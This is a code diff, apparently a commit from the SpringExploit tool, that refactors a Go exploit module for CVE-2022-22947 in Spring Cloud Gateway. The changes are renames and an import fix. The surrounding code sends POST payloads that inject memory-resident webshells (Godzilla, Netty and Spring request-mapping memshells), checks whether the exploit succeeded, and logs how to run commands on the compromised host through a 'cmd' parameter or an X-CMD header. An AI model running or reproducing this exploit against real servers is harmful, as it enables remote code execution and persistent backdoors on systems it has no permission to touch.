1- package poc
1+ package _022
22
33import (
44 "fmt"
5+ req2 "github.com/SummerSec/SpringExploit/cmd/commons/req"
56 "github.com/SummerSec/SpringExploit/cmd/commons/utils"
67 "github.com/fatih/structs"
78 "github.com/imroc/req/v3"
@@ -36,7 +37,7 @@ func (p CVE202222947) SendPoc(target string, hashmap map[string]interface{}) {
3637 log .Debugf ("SpringRequestMappingMemshell: \n " , SpringRequestMappingMemshell )
3738 log .Debugln ("NettyMemshell: \n " + NettyMemshell )
3839 log .Debugf ("[+] Running default poc" )
39- reqinfo := NewReqInfo ()
40+ reqinfo := req2 . NewReqInfo ()
4041 reqmap := structs .Map (reqinfo )
4142 // 解析target
4243 //t, _ := url.Parse(target)
@@ -86,17 +87,17 @@ func (p CVE202222947) SendPoc(target string, hashmap map[string]interface{}) {
8687 reqmap ["method" ] = "POST"
8788 utils .Send (reqmap )
8889
89- if p .checkExp (resp , target , hashmap ["Out" ].(string )) {
90+ if p .CheckExp (resp , target , hashmap ["Out" ].(string )) {
9091 log .Info ("[+] Successful exploitation CVE-2020-222947" )
91- p .saveResult (target , hashmap ["Out" ].(string ))
92+ p .SaveResult (target , hashmap ["Out" ].(string ))
9293 break
93- } else if ! p .checkExp (resp , target , hashmap ["Out" ].(string )) {
94+ } else if ! p .CheckExp (resp , target , hashmap ["Out" ].(string )) {
9495 // NettyMemshell.doInject()
9596 id = utils .GetCode (6 )
9697 s := fmt .Sprintf (payload , id , NettyMemshell )
9798 reqmap ["body" ] = s
9899 f ++
99- } else if ! p .checkExp (resp , target , hashmap ["Out" ].(string )) {
100+ } else if ! p .CheckExp (resp , target , hashmap ["Out" ].(string )) {
100101 // SpringRequestMappingMemshell.doInject()
101102 id = utils .GetCode (6 )
102103 s := fmt .Sprintf (payload , id , SpringRequestMappingMemshell )
@@ -116,7 +117,7 @@ func (CVE202222947) init() {
116117}
117118
118119// 检查是否成功
119- func (p CVE202222947 ) checkExp (resp * req.Response , url string , file string ) bool {
120+ func (p CVE202222947 ) CheckExp (resp * req.Response , url string , file string ) bool {
120121 res := resp .Dump ()
121122 log .Debugf ("[+] res:%s" , res )
122123 if strings .Contains (res , "route_id" ) {
@@ -127,15 +128,15 @@ func (p CVE202222947) checkExp(resp *req.Response, url string, file string) bool
127128 log .Debugln ("[+] Result: " + re .String ())
128129 log .Info ("[+] Successful exploitation CVE-2020-222947" )
129130 log .Info ("[*] 请手动验证是否漏洞利用成功!" )
130- p .saveResult (url , file )
131+ p .SaveResult (url , file )
131132 return true
132133 }
133134 return true
134135 }
135136 return false
136137}
137138
138- func (CVE202222947 ) saveResult (target , file string ) {
139+ func (CVE202222947 ) SaveResult (target , file string ) {
139140 context := target + " Successful exploitation CVE-2020-222947 " + target + "/?cmd=echo Result or add header X-CMD: echo Result 默认优先注入哥斯拉内存马、NettyMemshell、SpringRequestMappingMemshell"
140141 log .Info ("[*]: url: " + target + "哥斯拉内存马 密码和key pass key header添加sumsec头 or /?cmd=echo Result or add header X-CMD: echo Result 默认优先注入哥斯拉内存马、NettyMemshell、SpringRequestMappingMemshell" )
141142 utils .SaveToFile (context , file )
0 commit comments